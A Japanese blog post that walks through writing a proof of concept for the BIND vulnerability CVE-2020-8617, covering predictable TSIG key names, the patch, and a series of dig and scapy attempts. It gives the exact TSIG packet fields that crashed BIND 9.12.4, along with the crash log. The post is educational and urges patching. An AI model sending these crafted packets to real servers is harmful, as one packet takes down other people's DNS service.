概要
BINDの脆弱性であるCVE-2020-8617が公開されました。そのPoCコードを自分で書いてみたので解説しておきます。
GitHub上で公開されているPoCは見つからなかったので世界初か?!と思っていたのですが @shutingrz さんから既にISCのGitLabで公開されていることを教えてもらいました。以下のやつだと思います。
ということで時間を無駄にした感じもありますが、上のコードを見ただけではなぜそれが攻撃につながるのか理解するのは難しいと思うので、自分で書いてみたのは勉強のためには良かったです。既に公開されているということなので自分のPoCも心置きなく置いておきます。PythonのScapy版なので教育用途で役には立つかなと思います。
少なくともBINDのバージョン9.12.4で試した限りではほぼデフォルト設定で攻撃が刺さりました。しかも特に難しい攻撃手順は不要でリモートから1パケット送るだけでBINDサーバが落ちます。もしかしたら自分の環境が特殊という可能性も僅かにあり、万人に刺さるかはまだ調査中なのですが現時点では広範囲の人に影響すると考えています。緊急対応するべき脆弱性だと思われます。もう少し詳しく分かれば更新します。
もしこれが間違いで過剰な脅しになっていたらあとで謝ろうと思いますが、自分が調査した限りでは危険度は深刻だと思います。
テスト環境
- BIND: 9.12.4
試したバージョンはまだこれだけです。新たに試せたら追記しておこうと思いますが、以下の話は上のバージョンを前提に話しています。
また、権威サーバについての検証です。キャッシュサーバでどうなるかは未検証です。
CVE-2020-8617の概要
ISCからCVE-2020-8617の概要が公開されています。
影響するバージョン
- 9.0.0 -> 9.11.18
- 9.12.0 -> 9.12.4-P2
- 9.14.0 -> 9.14.11
- 9.16.0 -> 9.16.2
- 9.17.0 -> 9.17.1 of the 9.17 experimental development branch.
- All releases in the obsolete 9.13 and 9.15 development branches.
- All releases of BIND Supported Preview Edition from 9.9.3-S1 -> 9.11.18-S1.
これを見るとかなり幅広く影響しそうです。自分はまだ9.12.4で試しただけなので他のバージョンでも同様に刺さるかは未確認です。
深刻度
High
説明
TSIG リソースレコードを含むメッセージの有効性をチェックする BIND コードのエラーが攻撃者によって悪用され、tsig.c のアサーション失敗を引き起こし、クライアントへのサービス拒否を引き起こす可能性があります。
ISCのページに書いてある英語をそのままDeepLに突っ込みましたが普通に理解できる文章で凄いですね。要するにTSIGリソースレコードを含むリクエストを送るとBINDサーバにDoSを引き起こせるということです。
影響
特別に作られたメッセージを使って、攻撃者がサーバで使われている TSIG 鍵の名前を知っている (あるいは推測に成功している) 場合、攻撃者は潜在的に BIND サーバを矛盾した状態にする可能性があります。
BIND はデフォルトでローカルセッションキーを設定しているので、設定がそれ以外の場合はそれを利用しないサーバでも、現在の BIND サーバのほとんどすべてが脆弱です。
2018年3月以降のBINDのリリースでは、tsig.cのアサーションチェックがこの矛盾した状態を検知して意図的に終了します。このチェックが導入される前は、サーバは矛盾した状態で動作し続け、潜在的に有害な結果をもたらしていました。
これもDeepLに突っ込んだだけなので原文が見たい方は上のISCのページに行ってください。TSIGを使う場合以下のようにkeyの設定が必要です。
key "keyname" { algorithm hmac-sha512; secret "keyvalue"; };
これはHMACに使うための共有鍵ですが、このkeynameが攻撃者にバレると攻撃可能ということが書いてあります。ここで重要なのはkeyの値ではなくkey名ということです。key名は人間がわかりやすい名前をつけるはずで、zoneから流用する運用も多いと思います。zoneがexample.com.ならkeynameもexample.com.とかaxfr.example.comとか。
また、後述していますが自分の現時点でのPoCはどのアルゴリズムかの推測も必要です。こちらは数種類しかなく総当りすれば良いだけなのでISC的にはスルーしているだけかもしれません。
そうは言ってもkey名はユーザが自分で設定するものなので簡単には推測できないだろう、と思いがちですが設定によってはBINDは起動時に自動でlocalにkeyを生成します。ISCのQ&Aには以下のように書いています。
この FAQ を書いている時点では、サーバに 1 つ以上の TSIG 鍵がロードされる方法は 2 つあります。
- 設定の中にkey {}; stanza がある場合 (つまり、named.conf またはそのインクルードファイルの一つで共有鍵を直接設定している場合)
- update-policy local; を使用しているときに動的更新に使用される、自動生成されたセッション キー。
こちらも原文が見たい方は以下から飛んでください。
これを見るとあまり関係なさそう、と思いがちですが1も2もかなり現実的に起こるシナリオだと思っています。
rndc-confgenを使った場合
BINDを管理するためにrndcを使っている人も多いかと思います。自分も過去運用していた時は便利なので使っていました。このrndcの設定をする際に自分で鍵を生成してnamed.confに書いても良いのですが若干面倒です。そこでrndc-confgenコマンドが利用されることがあります。このrndc-confgenですが何も考えずに実行すると rndc-key
というkey名で生成されます。つまり簡単に予測可能です。
[root@7b07f5116c2b /]# /var/named/chroot/sbin/rndc-confgen -a wrote key file "/var/named/chroot/etc/rndc.key" [root@7b07f5116c2b /]# cat /var/named/chroot/etc/rndc.key key "rndc-key" { algorithm hmac-sha256; secret "DVTsYWZpnNHeDIOxS2fGFgTreuP6cYVoYeZtT1CMr2Y="; };
そして以下のようにnamed.confでincludeしていたらアウトです。
include "/etc/rndc.key";
これ自体は特に珍しい設定ではないので十分ありえると思っています。というか自分の作ったBINDイメージは全部こうなってます。この設定自体が脆弱なので良くない、とかでは全くありません。
これは上の1に該当します。もちろんrndc使っていなくても自分でkeyを生成して設定していても該当します。
local-ddns
問題はこちらな気がします。ISCによると update-policy local;
を設定していると自動でセッションキーを生成すると言っています。この生成されるkey名はデフォルトでlocal-ddnsになっています。/var/run/named/session.key
に生成されます。もちろんchrootしていればそれに応じたディレクトリになります。
そしてこれは update-policy local;
の設定をしている場合、と言っているのですが自分の環境では特に設定していなくても生成されました。自分のnamed.confは以下を使っているのですが、少なくとも update-policy local;
は書いていません。
もしかしたらいずれかの設定が自動で update-policy local;
を設定するのかもしれないと疑っているのですが今のところ条件は分かっていません。詳しい方がいたら教えていただきたいです。
まだ正確に条件が把握できていないのが申し訳ないのですが、少なくとも update-policy local;
でgrepして書いてないから大丈夫!という状況ではなさそうです。rndc tsig-list
で自分の環境を確認したほうが良いと思います。ちなみにlocal-ddnsのsession.keyはnamedの起動中しか存在しませんでした。namedのプロセスを落とすと自動で消えました。
Ctrl-Zでプロセスを生かしたままにしたらsession.keyの中にlocal-ddnsが見えました。デフォルトではアルゴリズムはhmac-sha256になります。
[root@f9b5f280bb62 /]# /var/named/chroot/sbin/named -g -t /var/named/chroot -c /etc/named.conf 20-May-2020 09:25:31.333 starting BIND 9.12.4 <id:079c3eb> 20-May-2020 09:25:31.333 running on Linux x86_64 4.19.76-linuxkit #1 SMP Fri Apr 3 15:53:26 UTC 2020 20-May-2020 09:25:31.333 built with '--enable-syscalls' '--prefix=/var/named/chroot' '--enable-threads' '--with-openssl=yes' '--enable-openssl-version-check' '--enable-ipv6' '--disable-linux-caps' ^Z [1]+ Stopped /var/named/chroot/sbin/named -g -t /var/named/chroot -c /etc/named.conf [root@f9b5f280bb62 /]# cat /var/named/chroot/var/named/chroot/var/run/named/session.key key "local-ddns" { algorithm hmac-sha256; secret "XRV4IEp28pWoPtdeWEisfR1bo8qEHlDibEJweLF0z/4="; };
それはこちらで定義されています。
ちなみにプロセスを止めた時は以下です。
[root@f9b5f280bb62 /]# /var/named/chroot/sbin/named -g -t /var/named/chroot -c /etc/named.conf 20-May-2020 09:25:31.333 starting BIND 9.12.4 <id:079c3eb> 20-May-2020 09:25:31.333 running on Linux x86_64 4.19.76-linuxkit #1 SMP Fri Apr 3 15:53:26 UTC 2020 20-May-2020 09:25:31.333 built with '--enable-syscalls' '--prefix=/var/named/chroot' '--enable-threads' '--with-openssl=yes' '--enable-openssl-version-check' '--enable-ipv6' '--disable-linux-caps' ... 20-May-2020 09:26:29.589 exiting [root@596a9635f827 /]# cat /var/named/chroot/var/named/chroot/var/run/named/session.key cat: /var/named/chroot/var/named/chroot/var/run/named/session.key: No such file or directory
自分のバージョンは9.12.4なのでこのバージョンだけ特殊という可能性も0ではありませんが、もし多くのバージョンでlocal-ddnsが生成されるとしたら非常に危険な状態です。実際にlocal-ddnsをkey名として指定して攻撃を成功させることができています。
脆弱性詳細
では実際に詳細を見ていきます。自分がどう調査していっていったのか、という時系列ベースになっているので少し見にくいかもしれませんが調査プロセスも誰かの参考になるかもしれないので順番に書いておきます。
まず今回のCVE-2020-8617に対するパッチを見てみます。
この変更を見るとrequestは処理されてほしくないのに処理されてしまっている感じが伝わってきます。コミットメッセージも
Only look at tsig.error in responses
と言っていて、リクエスト時にもtsig.errorを見てしまったのかと予想できます。前者は!responseなのでrequestを吸い込みたそうで、後者はif responseなのでリクエストに入ってほしくなさそうです。つまり、細工したリクエストを送ってこの最初のelse ifに入らず後半のifに入れば勝てそうな予感がします。
ここからは実際にBINDをビルドしながら検証していきました。調べたところdigでTSIGリソースレコードを送れることがわかりました。ということで適当にリクエストを送ってみます。
$ dig @127.0.0.1 -y hmac-sha1:local-ddns:abcdefg www.example.com
ですが、これだとそもそも上記のパッチがあたっているdns_tsig_verify関数にも入ってくれませんでした。
bind9/tsig.c at 2d95c81452096478f0dbb071db21b2fba1df5bc1 · isc-projects/bind9 · GitHub
さすがにsha1の形ぐらいは揃えないとダメなのかな?と思い適当な値をsha1して送りました。
$ echo foo | sha1sum f1d2d2f924e986ac86fdf7b36c94bcdf32beec15 - $ dig @127.0.0.1 -y hmac-sha1:local-ddns:f1d2d2f924e986ac86fdf7b36c94bcdf32beec15 www.example.com
するときちんとdns_tsig_verifyが呼ばれてverify errorになりました。単にエラーが出ただけでプロセスが落ちたりはしません。printfデバッグしたところ以下のところで弾かれていました。
bind9/tsig.c at 2d95c81452096478f0dbb071db21b2fba1df5bc1 · isc-projects/bind9 · GitHub
tsig.algorithmを使ってkeyを探しているようだったのでlocal-ddnsのアルゴリズムを調べたところhmac-sha256でした。そこでsha1ではなくsha256で送ってみました。
$ echo foo | sha256sum b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c - $ dig @127.0.0.1 -y hmac-sha256:local-ddns:b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c www.example.com
今度はエラーの内容が変わり、以下のif分の中でエラーで弾かれていることがわかりました。
bind9/tsig.c at 2d95c81452096478f0dbb071db21b2fba1df5bc1 · isc-projects/bind9 · GitHub
これは見ればわかるのですが、評価して欲しい以下のelse if文のif側になります。
bind9/tsig.c at 2d95c81452096478f0dbb071db21b2fba1df5bc1 · isc-projects/bind9 · GitHub
つまり、こっち側に入ると確実に目標のelse ifで評価されてくれません。パッチはrequestを吸い込むようにしているのでそちらのelse if内にも入って欲しいわけではないのですが、そこのelse ifで評価されないと攻撃として成立しない予感がします。
そこでifの条件を見ると if (tsig.siglen > 0) {
となっています。
bind9/tsig.c at 2d95c81452096478f0dbb071db21b2fba1df5bc1 · isc-projects/bind9 · GitHub
つまり、macを空にすればsiglen=0となってこちらのifには入らずに済みそうです。そこで空にして送ろうとしたのですが、digではもう無理なようでした。今改めて見ると空文字をbase64してCg==とか送ればまだ戦えたのかな?と思ったのですが、どうせもっと細かくフィールドを細工する必要があったのでscapyを使うほうが良いです。
$ dig @127.0.0.1 -y hmac-sha256:local-ddns: www.example.com ;; Couldn't create key hmac-sha256: bad base64 encoding
そこでPythonのライブラリであるscapyに切り替えました。ドキュメントを見るとDNSRRTSIGが定義されているのでTSIGを送れそうです。
まずscapyでTSIGをAdditonal RRsに入れて正常寄りのリクエストを送ってみたのですが、なぜかエラーでうまく送れません。Wiresharkで見てみたところMalformed Packetと表示されていました。
原因が分からなかったので、digで送った正常なリクエスト(macは正しくないのでBINDサーバ側で弾かれるやつですが少なくともMalformed Packetではない)もキャプチャしてひたすら目diffしました。関係ないですが2つのパケットをdiff取って可視化してくれるツールがあれば誰か教えて下さい。そこで無駄に時間食いました。
調査していったところ、いくつかのフィールドの値が異なっていたのとMac Sizeが間違っていたので修正しました。詳細は割愛します。その結果、scapy経由でも無事にBINDサーバ側でdns_tsig_verify関数が呼ばれるようになりました。そして上に書いたようにsiglenが0になるように以下のパケットを送りました。
tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="")
その結果、siglenが0となり先程のifを回避することができました。しかし今度はelse ifの方に入ってしまいました。
bind9/tsig.c at 3178974f0c1d0c395808a75676199eea1f25ddc2 · isc-projects/bind9 · GitHub
こちらのelse ifに入ると即座にreturnされてabortしてくれません。後半の方のifに入って貰う必要があります。ここでようやくtsig.errorが登場します。先程のコミットメッセージの通り、このtsig.errorはレスポンス時にのみ評価されるべき値のようです。なので、リクエストでerrorを詰めてみます。このelse ifで比較しているdns_tsigerror_badsigとdns_tsigerror_badkeyに対応する値はそれぞれ16と17です。16で試してみます。
tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", error=16)
そしてあっさりとBINDサーバが落ちました。
20-May-2020 12:31:31.207 client @0x7f13540e2820 172.17.0.1#53206: request has invalid signature: TSIG local-ddns: tsig verify failure (BADTIME) 20-May-2020 12:31:31.208 tsig.c:869: INSIST(msg->verified_sig) failed 20-May-2020 12:31:31.208 exiting (due to assertion failure)
実際にはエラーメッセージにも出ているようにtsig.cの869行目のINSIST(msg->verfied_sig)
で落ちます。
bind9/tsig.c at 3178974f0c1d0c395808a75676199eea1f25ddc2 · isc-projects/bind9 · GitHub
あと実はもう1つの条件として、signされた時刻をexpiredな時刻にしておく必要があります。これは実際にソースコード上でどこが該当するのかわからないのですが、最初真面目に以下のようにtime_signedを設定したら刺さりませんでした。
tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=32, mac_data=h.digest(), time_signed=int(time.time()), fudge=300, error=16)
そして書き直していた時に書き忘れて偶然刺さったというラッキーが起こりました。Exploit書く人間には多少の運が必要という格言もある気がします。
ということで終わってしまえば簡単にPoCを書くことができました。実際には数時間ぐらいは奮闘していたのでこんなにすんなりは行っていないですが、攻撃者もすぐに(または既に)開発できてしまうと思います。local-ddnsがデフォルトで生成されてしまう可能性と合わせると非常に危険な状態だと言えます。攻撃そのものも1パケットをリモートから送るだけでBINDサーバがダウンするので無差別攻撃も容易です。key名を分かりにくくすることである程度緩和可能だとは思いますが、やはり個人的にはBINDのバージョンアップデートを推奨します。もちろん諸事情で上げられない環境があるのもよく知っていますが...
PoC
再掲しておきます。自分で試してみたい方向けにDockerイメージも用意してあるので簡単にDoSを検証可能です。
まとめ
CVE-2020-8617のPoCを解説しました。過去もPoCコードを書いたことは何度もあるのですが、某県警が怖くて公開してきませんでした。これは冗談のようですが割と真面目に事実です。セキュリティ業界はそういった情報を交換し合うことで教訓とし、次の事故を防ぐといったように成長してきていると考えていますが、日本では公の場でそういう事が出来ず厳しい状況に置かれているなと感じています。攻撃者は裏で共有しあっているわけで、守る側が成長しないとどんどん攻撃者との差が開いていきます。日本はセキュリティが遅れていると言われるのも仕方ない気がします。もちろん中には凄い方もたくさんいらっしゃいますが、全体としての話です。
今回はせっかく日本にいないので公開することにしました。脆弱性が公開されて不必要に怖がるのではなく、また攻撃コードがないからと詳細も見ずに楽観視するのでもなく、自ら脆弱性内容を正しく理解し正確にハンドリングできる人が増えていくと良いなと思います。自分もまだまだなのですが、どのように脆弱性を追っていきどのように攻撃可能性を判断するか、という点で本記事が少しでも誰かの役に立てば幸いです。
教訓めいた感じになりましたが、CVE-2020-8617に関して言えば推測可能なkeynameがある場合は即座にアップデート推奨と現時点では考えています。
1日1万回感謝のBINDビルドをしておかないとこういう時にすぐ動けないので、音を置き去りにする速度でPoCを書くためにも皆さん毎日ビルドしましょう。